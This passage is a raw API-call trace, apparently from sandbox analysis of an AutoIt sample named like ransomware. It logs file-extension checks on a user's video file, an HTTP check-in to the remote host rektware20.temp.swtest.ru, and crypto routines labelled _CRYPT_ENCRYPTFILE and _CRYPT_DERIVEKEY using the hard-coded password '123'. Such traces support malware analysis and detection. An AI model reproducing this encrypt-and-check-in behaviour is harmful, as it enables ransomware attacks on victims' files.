(Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="neh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.519] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.520] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.520] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.520] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.520] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.520] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.520] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.520] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.520] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c) returned 1 [0067.520] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.520] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.520] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.520] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.520] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.520] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.520] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.521] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629340, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629340*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.521] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.521] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.521] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.521] CloseHandle (hObject=0x0) returned 0 [0067.521] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.521] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0067.521] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.522] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.522] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.522] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.522] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.522] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.522] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.522] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.522] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.523] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.523] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.523] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.523] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.523] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.523] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0067.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.524] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.524] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.524] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.524] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.524] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.525] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.525] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.525] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.525] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.525] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.525] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.525] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.525] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.525] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.525] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.525] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.525] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.526] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.526] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.526] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.526] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.526] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.527] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.527] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629560, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.527] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.527] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.527] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.527] CharUpperBuffW (in: 